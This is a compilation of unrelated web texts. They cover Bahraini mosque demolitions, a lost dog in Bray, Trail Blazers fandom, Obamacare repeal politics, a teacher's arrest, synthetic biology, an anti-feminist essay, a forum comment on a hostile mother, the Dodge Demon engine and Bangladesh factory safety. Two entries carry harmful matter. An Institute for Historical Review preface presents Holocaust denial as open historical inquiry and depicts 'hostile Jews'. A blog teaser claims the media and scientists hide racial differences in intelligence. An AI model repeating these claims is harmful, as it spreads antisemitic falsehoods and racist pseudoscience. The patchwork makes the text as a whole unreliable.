panel of independent human rights experts was subsequently tasked by the king to examine human rights abuses.  An investigation of the destruction of religious sites was part of the remit of the Bahrain Independent Commission of Inquiry (BICI).  "The government must have been aware of the construction of these structures and that they lacked proper legal permits and did not conform to building regulations," the BICI's report noted. "Nonetheless, the government had not stopped the construction of these structures nor taken action to remove them for a number of years."  "The government should have realised that under the circumstances, in particular the timing, the manner in which demolitions were conducted and the fact that these were primarily Shia religious structures, the demolitions would be perceived as a collective punishment."  The report was critical of the manner of the demolitions.  "General Security and/or riot police forbade the locals from removing Korans and other religious artefacts from the places of worship," it said.  In response the government promised to rebuild the religious sites. To date, according to a report sent to the BBC, 10 of the 30 demolished have been rebuilt, while 17 others are under construction.  "Procedures to regularise the status and location of the remaining three to comply with land use and planning laws are under way," it adds.  Relocation  Sheikh Maytham al-Salman, a spokesman for the Bahrain Interfaith Centre and a prominent critic of the government, told the BBC the demolitions were "not only a crime but cultural genocide".  "It was collective punishment - a way for the government to show it was willing to go to any lengths to stop the demands for a democratic transition in Bahrain," he said.  Image copyright AFP Image caption Shia leaders blamed Bahrain's Justice and Islamic Affairs minister for the demolitions  Sheikh Salman added that he believed that Bahrain's Justice and Islamic Affairs Minister, Sheikh Khalid bin Ali Al Khalifa, bore "a huge responsibility" for the destruction of the mosques.  "We believe he gave the implementation order for the demolitions. He is the minister responsible for Islamic affairs. This could not have happened without him being involved," he explained.  Officials did not respond to a request from the BBC for a comment from the minister.  The Barbagi Mosque has yet to be rebuilt. But worshippers pray on the site where the mosque once stood.  Their presence serves as both a silent protest and a reminder to all who drive along the Sheikh Salman Highway of what happened there three years ago.  The Shia community is insisting that the mosque be rebuilt in its original location. However, the government wants to move it away from the road.  Image copyright Ali Alaswad Image caption Shia have continued to pray at the former site of the Barbagi mosque, beside the Sheikh Salman Highway  Opponents say that is because a Shia mosque in such a prominent location on a road much frequented by members of the ruling family and Saudis visiting Bahrain is an annoyance.  For its part, the government argues that the mosque had encroached on a safety lane and was a hazard to traffic.  But for many Shia, the destruction of the Barbagi Mosque remains a potent symbol of everything that is wrong with the government's treatment of their community.  Sheikh Salman says: "There is pain in the hearts of thousands of Shia and there is a feeling that Shia deserve to have had a word of apology from the regime for this crime."  However, as the dispute drags on and a national dialogue aimed at reconciliation remains stalled few have any hope that Bahrain's wounded society will heal any time soon.
-A WAYWARD Wicklow Labrador found himself at the long paw of the law on Sunday night (August 7), after he was handed into Bray Garda Station.  The full grown adult male dog was handed over to the Bray division of An Garda Síochána at 9pm on Sunday after meandering the Greystones to Bray cliffs.  It's understood he followed cliff walkers from the Greystones harbour area, over Bray Head and into Bray Garda Station.  The official An Garda Síochána Facebook page uploaded pictures of the worn out pooch, sopping wet, and splayed across the station floor and issued a plea in the hopes of returning the Labrador to his owner.  The plea read, "Lost male white Labrador dog currently at Bray Garda station, handed in at 2130hrs 07/08/2016. Possibly from the Greystones area as he followed cliff walkers from the harbour area in Greystones over Bray Head and into Bray Garda Station. Not reported missing locally."  Advertisement  An Garda Síochána also said that it was their role to "protect life and property."  They continued on to say they were helping this lost dog as, "somebody owns this dog, we want to return the property to the owner. We also have a role under the animals act to prevent cruelty. It would be cruel not to help this lost dog."  Many people praised the Gardaí for their efforts in returning the dog to his owner, and hoped he would have a safe return.  Thankfully, after spending a night in the station the Labrador, whose real name is Bailey, was returned to his waiting family.
-After an improbable 8-game winning streak and a 10-2 start, I have a statement for my fellow Portland Trail Blazer fans: let’s sit back and enjoy the success.  It’s true that sports reporting has come very far since the days of radio and newspapers. Sports journalism, in some areas, is starting to resemble a science.  That makes it very tempting to dig as far as one can into the depths of every game, and it goes several layers. It begins with statements like, “Wesley Matthews had a great game against the Nets.” Then it’s, “he had 24 points and 6 rebounds.” Then it’s “he shot 9 of 13 from the field and 5 of 8 from three.” Then it’s, “his usage rate was 18.2%,” then “his effective field goal percentage was 88.5% and his true shooting was 86.5% and his offensive rating was 175 and his GameScore was 20.8.” PHEW!  I know this is useful, and maybe I’m bitter because I just don’t understand it all, but seriously… how much of this crap do we really need to know that a guy had a damn good game? Besides, stats are inevitably flawed because they can’t possibly take into account everything a player does on the court. It’s like taking a 240p video and yelling ENHANCE, hoping to catch a reflection of someone in a mirror 200 feet away.  Is there a stat for when a defender perfectly funnels his assignment into a trap that leads to someone else picking off a tough pass? Is there a stat for when someone’s playing so hard that their dunk invigorates the crowd, instantly making all of their team play that much better and the other team play that much worse? Can you give a guy 4 points for making a bomb that stops an 11-0 run? Those momentum-changing shots sure as hell mean a lot more than anything a guy does in garbage time.  To that end, we have people doing their best to pick apart the Blazers’ 10-2 start: they play terrible paint defense, they shoot too many threes, players are converting an unsustainable number of shots, their opponents are weak. You even have people who take ONE stat, minutes played, and suggest… in their HEADLINE… that because Blazer starters are playing 72% of the team’s minutes as opposed to, say, the Pacers’ 67%, that they will collapse as they did last season.  OK, fine. Ignore that the Blazers’ bench is about 4 ticks better than lasts’. Ignore that CJ McCollum will be making his way back in the next month or so. Ignore that they’ve been intentionally sticking to a 9-man rotation and leaving off two guys that got significant run last year. Really. It’s a frustrating proposition when a writer with an NBC-backed Internet platform gets to fling platitudes around like so many dinner rolls in a food fight.  More than that, it’s missing the point, at least a very important part of the point, of being a fan of a team.  Now I’m not saying to bathe in ignorance. Stats are fun. And they can be really helpful. But besides connecting with the players, following their ups and downs, and generally sticking through times both good and bad, part of the fun of being a fan is enjoying when they WIN. And for this team, an even bigger part of the fun is to look at the standings every day and see YOUR team right at the top.  And no, it hasn’t been one game, or two games, or three games. It’s been 12. That’s a decent chunk of time. And are there fans that deserve to see their team rattle off 8 in a row more than you Blazer fans? After seeing the face of the franchise deteriorate from one of the game’s best guards in his prime into a hobbling mess in just two short years? To see our other franchise player’s knees explode one after the other? To see the disgusting aftermath of trying to tie everything together when everything and anything went wrong?  Portland: we deserve this. We stuck through a lot of tough times. I wear my black-and-red Oden shirt to the gym without irony. And while the letters may be crumbling, my interest, my passion, my love for the Blazers is not. Now, early in the season, during this brief days-long rest before fighting another battle, they’re 10-2. They’re at the top of the pile. They’re looking down on everyone else from above.  Enjoy it. Relish it. Be like a little kid and brag to your buddies about it. Jump on Twitter and #8inarow about it. Go to the playground and bomb a 6-feet-from-the-line three and shout LILLARD about it. Because after the last few years, it’s really the least we can do to keep ourselves sane.
-President Donald Trump lamented that an Obamacare repeal may take until 2018 in an interview with Bill O’Reilly on Super Bowl Sunday.  “I would like to say by the end of the year, at least the rudiments, but we should have something within the year and the following year,” the president explained.  Republican leaders originally set the Obamacare repeal deadline on January 27th. That deadline was quickly brushed away given increasing disunity regarding Obamacare’s repeal. Secret recordings of the Republican retreat in Philadelphia revealed a deluge of uncertainty from Republican leaders, the rank-and-file. Arguments included whether to repeal and replace Obamacare simultaneously or separately, to maintain Obamacare’s taxes to fund a replacement, and to keep the states Obamacare exchanges.  Since then, Republicans leaders such as House Energy and Commerce Committee Chairman Greg Walden (R.-Ore.) believe that the scope of healthcare reform needs to change from “replace” to “repair.” Speaker Ryan rebuked that rhetoric by called Obamacare a “collapsing law.” He noted, “Somewhere along the line there was confusion that we were going to take the Obamacare architecture and, you know, tinker at the margins and repair it.”  Despite the rhetoric, it is unclear how Republicans plan to repeal Obamacare beyond reconciliation, where any Obamacare repeal will require the support of Democrats. Senate Minority Leader Chuck Schumer promised no cooperation from Democrats unless there will be a repeal-and-replace package at the same time, and “So long as it covers as many people as the ACA, so long as it helps bring healthcare costs down, so long as it doesn’t move our healthcare system backward.”  The American Medical Association, the largest association of doctors, wrote a letter to Congress in January providing a roadmap for what “in reasonable detail what will replace current policies.” Vice President Mike Pence speaking with ABC’s George Stephanopoulos said that there will be a smooth transition between repeal and replace, noting, “He’s also made it very clear that at the same time that we repeal Obamacare, we’re going through both executive action and through legislation, set into motion a replacement of Obamacare that will be orderly and will lead the American people.”  Senator Lamar Alexander (R.-Tenn.), Chairman of the Senate Health Committee said argued that Obamacare’s repeal will only take place when there is a practical alternative, saying:  I think of Obamacare like a collapsing bridge. If your local bridge were “very near collapse,” the first thing you would do is send in a rescue crew to repair it temporarily so no one else is hurt. Then you would build a better bridge, or more accurately, many bridges, as states develop their own plans for providing access to truly affordable health care to replace the old bridge. Finally, as the new bridges are finished and safe to drive across, you would close the old bridge.  While Congress will vote to repeal and replace Obamacare this year, the repeal of Obamacare finally will become effective when our reforms are implemented and we have concrete, practical alternatives.  I believe this is what the President means when he says we will repeal and replace Obamacare simultaneously and what Speaker Ryan means when he says we will repeal and replace Obamacare concurrently.  Sen. Alexander is a proponent of repealing and replacing at the same time, an idea that President Donald Trump has signed onto in the past. Any form of repeal would only be effective after there is a practical alternative that includes several of the popular republican reforms to Obamacare, such as shopping insurance plans across state lines, and expansion of health savings accounts.  There are number of plans to replace Obamacare, including from Sens. Susan Collins (R-ME) and Bill Cassidy (R-LA), a separate plan from Senator Rand Paul (R-KY), as well as from Speaker Ryan. However, there is little consensus from Congress, or the White House on which plan will be implemented to replace Obamacare. There is also little agreement on when the plan will take place, Speaker Ryan has mentioned March or April, but with President Trump’s remarks it seems that Obamacare may stay until even 2018.  President Trump said that Obamacare repeal is “very complicated” but reminds everyone that “Obamacare is a disaster.”
-A high school teacher was arrested Monday in Riverside after allegedly having a monthslong inappropriate relationship with a student, authorities said.According to detectives, a female student's mother had contacted police over the weekend and reported the relationship.Camryn Zelinger, 32, of Corona, was taken into custody Monday at Encore High School for the Arts and booked on suspicion of lewd or lascivious acts with a minor and annoying or molesting a child under 18, the Riverside Police Department said in a statement.The agency's Sexual Assault and Child Abuse Unit launched an investigation after the 14-year-old girl told officers of her relationship with Zelinger, according to police."The investigation revealed inappropriate physical contact and communications between the teacher and student," the news release said, adding that school officials "fully cooperated" with authorities.Asked if text messages were exchanged, Officer Ryan Railsback said: "It appears so, that that was one of the ways that they communicated. The investigation determined that was a crime along with the physical contact that the teacher made against the student."Zelinger, who posted bail and was released, is no longer employed by the school, according to police.
-I have seen the future, and it is now.  Those words came to mind again as I recently listened to Craig Venter, one of those leading the new areas of synthetic genomics and synthetic biology. Every time I hear a talk on this subject, it seems a new threshold in the artificial manipulation and, ultimately, creation of life has been passed.  Consider just some of the progress associated with the J. Craig Venter Institute. In 2003 its researchers created a synthetic version of the bacteriophage phiX174. In 2007 they successfully transformed one species of bacteria to another by genome transplantation. Most recently, they developed methods for the complete synthetic assembly of the genome of the bacterium Mycoplasma genitalium.  The techniques now developed make the feat of sequencing the human genome in 2001 seem prehistoric. Not only have the cost and speed of sequencing evolved faster than those of computer chips, but the ability to use both chemistry and biology to synthesize new complex organisms has undergone a revolution in the past five years. Instructions embedded in synthetic gene sequences can now be implanted in foreign cells and thereby cause those cells to express proteins; those proteins, in turn, build new functioning copies of the life-forms whose instruction manual is in the embedded sequences. Venter calls this cycle “software that creates its own hardware.” I expect to hear news soon of the successful creation of the first completely artificial life-form, built from scratch and not alive until the scientists assembled it.  Semiconductor nanotechnology has been heralded for more than a decade, but I believe it will pale beside the ability of biotechnology to transform life and society. Imagine the impact of piggybacking on nature’s majesty and designing living systems that can perform tasks not found in nature, from microbes that make gasoline or eat carbon dioxide to create nonbiodegradable plastic building materials to organisms designed to surgically and strategically operate on cancer cells. I expect that within 50 years the world’s economy will be driven not by computer-generated information but by biologically generated software.  Of course, as Spiderman would say, with great power comes great responsibility. Hackers now create software viruses that periodically disable huge computer networks. With the ability to make DNA sequences to order has risen the specter of garage-based DNA hackers who might terrorize the world—intentionally or accidentally—by re-creating the Ebola virus or the 1918 flu. Each of those disease organisms has a genetic code far smaller than that of the recently synthesized M. genitalium. One could also imagine producing, again perhaps unwittingly, viruses that are immune to existing vaccines.  Some may fear the existence of new life-forms that might attack all life on earth or at least human life. This fear is probably misplaced. Life has survived for more than three billion years because it is robust, and almost no mutations can easily outwit the defense mechanisms built up through eons of exposure to potential path­o­gens. Venter’s argument that new naturally emerging diseases are a far greater threat than new artificial diseases seems relatively compelling.  Nevertheless, there have been, until fairly recently, few checks on the unfettered reproduction of genetic information. As the ability to synthesize more complex biological systems has increased, however, the research community has put in place a voluntary system of restrictions, for example, on the fulfillment of commercial orders for genetic sequences that correspond to portions of potentially lethal organisms. At present, the technological know-how associated with developing synthetic biology laboratories with malice aforethought is probably beyond the means of even sophisticated terrorist networks. Moreover, it is important not to let misplaced fears of Armageddon unduly restrict scientific work with great potential to benefit humankind.  I have always felt that, aside from research that violates universal human mores, when it comes to technological applications, that which can be done will be done. What we need to do is rigorously attempt to anticipate what may be possible so that we can minimize the risks and maximize the benefits. We need to walk into the future, no matter how unnerving, with open eyes if society is to keep pace with technology.
-... [M]ight it be fair also to say that the champions of 'no difference' in race or sex, or intelligence ... are the guardians of a greater 'untruth' that allows people to live together in mutual harmony, implying that these critics really deserve to be praised as our protectors even when they are factually wrong? ... it is roughly how the self-appointed guardians choose to present themselves - leaving aside, usually, the step of frankly admitting that they are promoting factual untruths when they know that they are.  The public intellectual forum is being manipulated with intimidation and coercion and you are being lied to. The media is not doing its job, and the scientific community is not playing its proper public role as a beacon of dispassionate truth seeking, as a conduit of knowledge to the public, or in fostering an open and fair intellectual climate. Both are abusing their power and authority to do the opposite of their honor bound social and intellectual roles; facts are being distorted in service of values.This post is a very long and detailed examination of what James Watson said, what the data reveal about James Watson's claims (i.e. are they, or are they not factually accurate), andwhat the data reveal about James Watson's claims.  Labels: general intelligence, human biodiversity, national IQ, race, Watson
-I Cannot Be a Feminist  I will always be pro-woman  Ali Alexander Blocked Unblock Follow Following Dec 22, 2013  Being the eldest of three boys with a single mom struggling to survive, I know what it means to be for the empowerment of women.  The woman is beautiful and unique. She is powerful. She incubates and delivers life. Her pain, her joy, her emotions are better expressed across the full spectrum that are feelings. She is a fierce protector, a gentle comforter, and even in all her complexity, she shows mankind simplicity.  There can be no doubt that women face structural challenges in all present societies, especially in the workplace. Recognizing this is a first step, but those who don’t, should not be labeled haters.  There are things we can do to make things more fair; more merit-based. That doesn’t mean that every piece of legislation that’s paraded around with lipstick should be supported.  Structural challenges in society also face the black, the yellow, the albino, the fat, the too-skinny, the person of faith, the repented felon, the southerner. Burdens exist because we are human. Burdens should not define our humanity nor our gender. And gender is a very real thing.  Talking to a feminist recently (a friend of many years), she was taken aback when I said to her that “I am pro-women’s empowerment. I am not and will never be a feminist.” She laughed. Of course she did. I simply didn’t understand.  She explained to me what I already knew: the title feminist is gender-neutral. Blah blah blah. A feminist is defined as someone who believes in the equality of the genders. Blah blah blah. Then I laughed. I already knew all of this.  Feminists do not believe in the equality between the genders, not alone anyway. These fringe activists believe in degrading men until they’ve received reparations and only then, can equality be achieved. They’ve mainstreamed their titles so artsy celebrities and coastal elitists adopt the title too. ‘Hi, I’m Dr. John Doe (Feminist-at-large), because… equality.’  See, the feminist believes that in tearing down men, the irreplaceability of fatherhood, male bosses, and the dissolution of any separation (or recognition) between the genders, they’ll somehow establish equality.  Mandela, Ghandi, and King taught reconciliation accomplishes equality. Feminists teach what the communist Chinese regime did: reeducation. If only you knew what I know. Think what I think and everything will be better.  My friend was shocked that I was familiar with all the talking points.  “Education always works. There must be something wrong—some right-wing bias,” she probably thought to herself. Conformity in language, social theories, all seem to surround feminism.  Feminism, as a belief, must stand on its own. And it must be held to account for all of its work. It cannot be supported because it sounds emphatic or has the right definition in the dictionary. Every revolutionary dictator renames his country to something that sounds pretty.  The feminist proudly touts their “slutwalk” protest while shouting to us about their latest gospel, rape culture. Did you know that men are the greatest perpetrators of rape culture? Apparently, according to feminists, explaining the circumstances around a rape or considering measures that would reduce rape actually contribute to more rape.  Rape is evil! Every reasonable person believes this. But not according to the feminist.  This has nothing to do with empowering women. When I think about my mom and growing up, none of this comes to mind. In fact, it’s pretty insulting.  I will still throw my annual party celebrating women in D.C. I will always believe that I was extremely blessed to grow up in a home with a proud single-mother. Everything about the tolerance and perseverance of women will continue to amaze me. In America, women outnumber their male counterparts at the ballot box and in raw population. That’s not a bad thing at all. The woman will continue to be celebrated, without needing to tear down men to do so.  My friend protested when I explained to her that feminists tear down men to make themselves equal, which not only makes the man a legitimate victim but also makes the argument extremely dangerous for women as it implies they are not capable.
-Institute for Historical Review  The 'False News' Trial of Ernst Zündel -- 1988  Editor's Introduction  This book began in the fall of 1987 as a series of witness evidence summaries to be used in the then rapidly approaching second Zündel trial (which commenced on January 18, 1988). Evidence from the second trial was later summarized for use in preparation of the appeal to the Ontario Court of Appeal in 1989. The project expanded considerably in 1990 when Ernst Zündel asked me to put the summaries in a form which could be published as a record of the evidence presented in the 1988 trial. This book is the result.  Most of the considerable testimony given at the trial over a period of three months has been condensed into summaries for the reader. The testimonies of important historians, however, have been included almost in their entirety. These historians are Raul Hilberg and Christopher Browning for the prosecution and Robert Faurisson and David Irving for the defence. Every attempt has been made to ensure the accuracy of direct quotes from the transcript and the accuracy of reproductions of exhibits referred to in the trial. It should be noted that the questions and comments made by defence attorney Douglas Christie, Crown Attorney John Pearson and Judge Ron Thomas are not direct quotes unless indicated by quotation marks.  My own involvement in the Zündel case began in early 1985 when I worked part time in the County Courthouse library in Toronto at the time of the first trial. I attended the proceedings during my free mornings and was shocked by what I saw. There can be nothing more disgusting than watching a man being forced to justify his writings, his beliefs and his opinions before a criminal tribunal in a supposedly civilized and "free" country.  Zündel was being portrayed in the media as a man of hatred; but the man I saw in the courtroom was calm and always gracious to everyone he dealt with. When he testified, he did not repudiate his belief in Germans or Germany or Adolf Hitler. He expressed clearly his admiration for their accomplishments and his disbelief that they had committed what is known as the "Holocaust". Perhaps I had never really known what it meant to be courageous before that trial; but I knew what it meant after I watched Ernst Zündel testify to his true beliefs notwithstanding his knowledge that the voicing of those beliefs would almost certainly seal his conviction.  And everyday as I watched defence attorney Douglas Christie, his legal assistant Keltie Zubko and the various defence witnesses make their way through crowds of hostile Jews, some of whom spat on them, as I watched them being savaged by a hysterical media, as I experienced the lynch-mob atmosphere of that trial day after day, I learned again and again what real courage was and what real dedication to the principles of a free society meant. It affected me profoundly. When the second Zündel trial began in 1988, it was no accident that I had also become part of the defence team.  While Jewish organizations and the mass media expressed satisfaction that Zündel had been convicted, many ordinary people in Canada were shocked at the implications of the trial for freedom of speech and thought. In a letter to the Toronto Sun, Lynda Mortl of Toronto wrote:  Why are we Canadians allowing a certain pressure group to act as censors for us? And worse, to have a member of society brought to trial, probably jailed, and/or deported for saying something we will not even be allowed to read. The more I think about the implications of this trial, the more angry and frightened I become. I am one Canadian who does not want Sabina Citron, Alan Shefman or Julian Sher to decide what I will read or what I will call the truth.  Indeed, the purpose of the prosecution of Ernst Zündel was to make sure that ordinary Canadians would not have access to the type of information contained in Did Six Million Really Die?. Even today, Canadians do not realize how far the original "Holocaust" story has disintegrated in the face of ongoing historical research and forensic studies of the alleged Auschwitz execution gas chambers. The tight control of information in this regard is a wonder to behold to those of us involved in this case. Canadians who believe they enjoy a "free" press in North America are sadly mistaken. There is never any attempt in the mass media to analyse why more and more people no longer believe in the "Holocaust"; there is no transferal of any basic information to the average reader to let them decide for themselves whether there is anything to what the revisionists say or whether it is hogwash. Instead, Zündel and anyone else who questions Holocaust claims are simply branded as "evil" and "hatemongers".  This book ensures that both sides of this ethnic dispute are at least available to the general reader. The record of the 1988 trial is unique in that the major historians on both sides of the issue testified and were cross-examined relentlessly on their research methods, bias, sources and findings. It records the only instance where Holocaust historians have been forced to defend their assertion that the Jews of Europe were exterminated (mainly in gas chambers) by the Nazi government during World War II. For the reader it is a rare opportunity to see how in fact history is written, how indeed history has become the tool of politics.  British historian David Irving testified that it is the reader who decides what constitutes a "historical fact"; it is the reader who decides what has been proven to happen in history and what has not. I therefore invite the reader to read the evidence of one of the most significant trials of our century and with respect to the story of what really happened to the Jews of Europe during World War II, to decide for himself.  Barbara Kulaszka  August 1992
-Same here. My mom was angry more often than not. She didn't talk much but she did get mad and raise her voice frequently. Said mean shit, put people down, just generally was a very unpleasant person and all you could do was stay away because otherwise she was going to make you feel bad. It was never clear what would set her off, she was just prone to rage or something, or felt like it was OK to take out her anger on whoever she could. I spent my teen years avoiding her as much as I could, avoiding talking to her so she wouldn't give me shit about how bad I looked or whatever snarky bullshit she would direct at me about the things I was into. She never hit me or anything like that, she just tried to make me feel like I was ugly, a disappointment, etc. I was really struggling with severe depression and all she ever did was make it worse. She never even noticed I was depressed even though my symptoms were extremely obvious. I moved out as soon as I could and our relationship improved, she stopped being mean to me, stopped talking shit about me (to my face), and for many years we got along fairly well when I called her on the phone or came to visit her. She never really put in any effort, but I tried for many years. Then some shit went on in my life that left me extremely depressed for the first time in years and she showed her true colors again, and now she is no longer a part of my life. No one gets to yell at me or put me down, try to make me feel like shit. That's not family. I haven't seen or talked to my mother in nearly a decade.  OP - please sort your wife out so you don't end up with a child driven from your family like I was. Get her into therapy to deal with her behaviors now while you still can.
-Tech / Help  Deep dive: What makes the Demon so wicked?  by Patrick Rall  At a small Detroit media event, SRT powertrain boss Chris Cowland laid out all of the fine details of the 2018 Dodge Challenger SRT Demon.  The 2018 Challenger Demon had two simple guidelines during development – to run a 9-second quarter mile and to lift the front wheels off of the ground on launch, both in street legal trim.  Once the Demon was given the green light, Dodge added a few initial requirements, including an engine power increase of 10% over the Hellcat Hemi, and launch forces at least 20% greater than the standard Hellcat Challenger. At the same time, the Demon had to be emission-legal in all 50 states (meeting LEV160), meet pass-by noise requirements, and pass strict SRT durability testing.  The result is a 4,200 pound muscle car which will run a 9.65 quarter mile and lift the front wheels off of the ground on a hard launch with an 840 horsepower Hemi – which meets all emission and noise requirements set for by the industry and the company. Most importantly, the new Demon is 100% street-friendly, so in addition to being the quickest production car in the world, it can also serve as a comfortable daily driver.  This was achieved by introducing a new version 6.2-liter supercharged Hemi, with 62% of the content changed from the original Hellcat Hemi — including a new block, crankshaft, connecting rods, pistons, and supercharger assembly.  That 840 horsepower Hemi is mated to a new 8-speed automatic transmission which has been heavily upgraded with a new torque convertor and trans brake. From that stronger transmission, the power travels through a stronger driveshaft to a stronger rear differential with a steeper gear ratio and stronger axles – reaching the ground by means of the lightweight 18” wheels and the Demon-branded Nitto NT05R tires.  We knew all of that when the car was introduced back in April, but below, you will find a detailed rundown of how each key component of the drivetrain in the 2018 Dodge Challenger SRT Demon differs from the Hellcat Hemi.  Induction system  The Air Grabber Hood is a functional hood scoop system which feeds a high volume of cold air to the airbox, along with dual air catchers in the grille (replacing the fog lights) — all feeding the 14.8 liter air box. A new oiled conical air filter has a 72% increase in filtered air, compared to the standard Hellcat air filter (712 cm2 in the standard Hellcat, 1,224 cm2 in the Demon).  After the air filter, the air passes through a low restriction air intake system, with 25% less resistance than the Hellcat intake setup at full power, and into the new 92mm throttle body. This whole system has been tuned to offer the best flow possible, while meeting all pass-by noise rules.  Supercharger and Drive System  The 2018 Dodge Challenger SRT Demon features a new 2,700cc supercharger housing, with 320cc more air volume than the Hellcat supercharger. This increase in volume was achieved by adding longer rotors, both of which are 28mm longer than the Hellcat blower.  The air being sucked into the 2,700cc IHI supercharger passes through a revised front bearing housing, so the air enters the supercharger more easily while providing some cooling effect for the front bearing assembly. When coupled with the dual integrated charge coolers and the electric bypass valve, the maximum boost pressure rises from 11.6 in the Hellcat to 14.5psi in the Demon, as the 2.36:1 drive ratio leads to a maximum supercharger speed of 15,340rpm (at 6,500 engine rpm).  To get an idea of how much air we are talking about, Dodge points out that on a quarter mile run, the Demon’s Hemi will take in around 173 cubic feet of air – or the lung capacity of 816 human lungs. Also, at the 800-foot mark of a quarter mile run, which takes only 7.35 seconds at wide open throttle, the Demon could effectively suck all of the air out of the 105 cubic foot cabin.  The Cooling Module  The Demon features a high tech cooling module which works with the water-to-air heat exchangers integrated into the supercharger housing. The cooling module includes the “normal” engine coolant radiator (high temp loop), the low supercharger cooling system (low temp loop) and the components of the SRT Chiller system. With the auxiliary cooling pump, the supercharger’s cooling system can move around 45 liters of coolant per minute – allowing the system to reject around 258kW at full power.  In other words, the amount of energy during the cooling process is equivalent to 258kW or heat energy – enough to boil a quart of water in 1.2 seconds. That is about as much thermal power as 250 electric toasters.  The Fuel System  The fuel system of the 2018 Dodge Challenger SRT Demon starts with a set of larger fuel injectors with 67g/s flow at full power. These injectors are optimized for a high flow supercharged engine, with 20 degree bent spray and a 17 degree cone. These injectors are fed by a pair of high volume in-tank fuel pumps, which allow a 27% increase in peak pressure compared to the Hellcat.  At full power, the Demon’s fuel system peaks at 510lb/hr, or around 1.36 gallons per minute. The showerhead in your bathroom likely flows around 2 gallons per minute, so the Demon uses almost as much gasoline in one minute as you use water in one minute of showering.  Cylinder Heads and Valve Train  The cylinder heads of the 2018 Dodge Challenger SRT Demon are, of course, a hemispherical (Hemi) design, with a 34.5 degree valve angle and M14 spark plugs. These heads are constructed of high strength, high thermal conductivity aluminum alloy (A356) with heat, quench, and solution treatment. They have single groove collets for improved stability, with revised design valve springs and top retainers; 33% more oil cooling for the valve springs and the rocker tips work to keep the system cool at high RPM.  When combined with the high temperature resistant cylinder heads, the two piece valves (hollow intake valves, sodium filled exhaust valves) are good for continuous heat loads of 800°C.  The Demon’s gun-drilled steel camshaft has different profiles from the original Hellcat. The newest supercharged Hemi has intake and exhaust lift of 14.25mm and 14mm, lobe centers of 109° and 137°, and durations of 224° and 240° at 0.050” of lift. This camshaft is paired with hydraulic roller tappets (no MDS) and hydraulic actuated variable valve timing, with a total variation of 17°.  The Engine Block  The Demon’s unique red-painted engine block is constructed of high strength cast iron with 4-bolt steel main caps. The engine has been deck plane honed to minimize engine bore distortion at high RPM while the revised design main bearing cap bolts with increase clamp load and the increased cylinder head clamp load (52kN to 80kN) afford the Demon peak fire pressure in the combustion chamber of 135 bar (1,958psi) when running on race gas.  The Rotating Assembly  The supercharged Hemi of the 2018 Challenger Demon has a heavily revised rotating assembly, including a forged allot steel crankshaft with a 90.9mm stroke and revised balancing which is secured against induction hardened crank bearing surfaces running in high load capacity beatings with individual journal optimized main bearing clearances having as much of a difference as 10 microns compared to the Hellcat.  The Demon’s pistons are comprised of forged high strength alloy with an inclined box wall for added support; piston cooling jets provide 100% more oil flow cooling to each cylinder. The revised connecting rods feature an enlarged big end and enlarged shank with a tapered small end, along with high tensile fasteners on the rods – resulting in a capacity of 210,000psi.  At full power, the rotating assembly faces 11.1 tons of force on compression stroke and 3.2 tons of pressure on the exhaust stroke- each 50 times per second. (For comparison, an assault rifle fires a 25 gram projectile at 2000 G; the pistons in the Demon, which weigh 695 grams, accelerate at around 2,600 G).  The Lubrication Circuit  The Demon’s Hemi is kept oiled by a high flow, 25cc/revolution oil pump driven off of the crankshaft nose. In addition to the normal oiling flow through the engine, the Demon includes 8 high flow piston cooling jets with check valves, with up to double the oil flow of the Hellcat system. The top end flow to the springs and rocker arms arrives with 33% more volume than the Hellcat.  To deal with the 1.8Gs experienced during a hard launch, the Demon has a unique windage system in the oil pan to keep the Pennzoil/SRT 0W-40 oil under control.  Exhaust System  The Demon’s exhaust begins with a set of double wall, insulated, high temp tubular stainless steel exhaust headers which lead to a set of high temperature close-coupled catalysts and a 73mm diameter low restriction dual exhaust system. This system has a custom-engineered exhaust note via the electronic valves, reducing backpressure to just 66kPa at full power.  Transmission  Like the standard Hellcat, the Dodge Challenger SRT Demon has a heavy duty 8-speed automatic transmission with shift paddles; unlike the ordinary Hellcat, the Demon uses an upgraded 151k torque convertor, with an 18% increase in torque multiplication and an 11% increase in stall speed.  When in Drag Mode, the Demon’s transmission moves from gear to gear in just 400 milliseconds while the Track Mode shifts take 200ms. The transmission could actually shift faster and harder in Drag Mode, but to put the most torque to the ground as efficiently as possible, the engineers found that the 400ms shifts has the best performance.  The Demon’s integrated TransBrake locks the output shaft at an engine speed of up to 2,350rpm. This leads to a 110% increase in engine stall torque on launch compared to a simple brake torque launch – yielding 18% more torque at the rear tires when this beast leaves the line.  The Driveline  The entire driveline of the 2018 Dodge Challenger SRT Demon has been revised to handle the extreme power and the extreme loads during launch. This begins with an upgraded driveshaft with 20% thicker high strength steel tubes and stronger steel stub shafts. From there, the power heads into the uni-directional, limited slip differential in an upgraded housing which holds a new 230mm ring gear and 3.09 gear set.  Between the differential and the Demon’s lightweight wheels is a set of upgraded half shafts with 8-ball cross glide inner and outer joints, an increased diameter barshaft with 41 end spline count and high alloy steel inner/outer stub shafts.  The culmination of these unique components is a 4,200-plus pound Dodge Challenger which packs 840 horsepower and 770 pound-feet of torque – enough to propel it down the quarter-mile track in just 9.65 seconds. As Dodge pointed out, the Demon makes more horsepower by 4500 rpm and more torque by 2300 rpm than the new Chevrolet Camaro ZL1. It makes more horsepower by 3,800 rpm and more torque by just 1,300 rpm than the Nissan GTR – Japan’s top performance car – and it beats the McLaren 720S by 131 horsepower and 202 pound-feet of torque.  Released today: How they kept the secrets of the Demon • Hear the Demon roar, watch it fly  Dodge Challenger Demon • Demon Reveal • Behind the hints • Colors • Original Demon
-A coalition of trade unions and predominantly European clothing retailers have agreed to a legally binding plan to inspect garment supply factories in Bangladesh within nine months.  The 75 signatories to the accord, unveiled on Monday, will guarantee that in every case where unsafe conditions are found, funds will be made available for necessary safety upgrades.  But only three US retailers have signed up to the plan. American firms are reportedly reluctant to join any industry accord that creates legally binding objectives. The small number of US signatories will disappoint advocates hoping for an end to dangerous conditions in Bangladesh's multi-million pound garment industry, in which 1,200 people have died in the past year.  A push for western retailers to take more responsibility for workers' conditions in Bangladesh came after a series of recent tragedies, such as the Rana Plaza building collapse outside Dhaka in April, which left more than 1,100 dead, and the Tazreen factory fire in November that left 112 garment workers dead. Labels for US and European brands were found in the rubble of the factories.  Some retailers, such as Primark, the British retailer and Loblaw, the Canadian company that makes Joe Fresh, confirmed soon after the tragedies that the Rana Plaza factory made their clothes. Primark and Loblaw have now signed up to the safety accord.  Negotiations between unions and retailers began in May, in the aftermath of the Rana Plaza deaths. Signatories also include H&M, one of Bangladesh's biggest clothing clients, 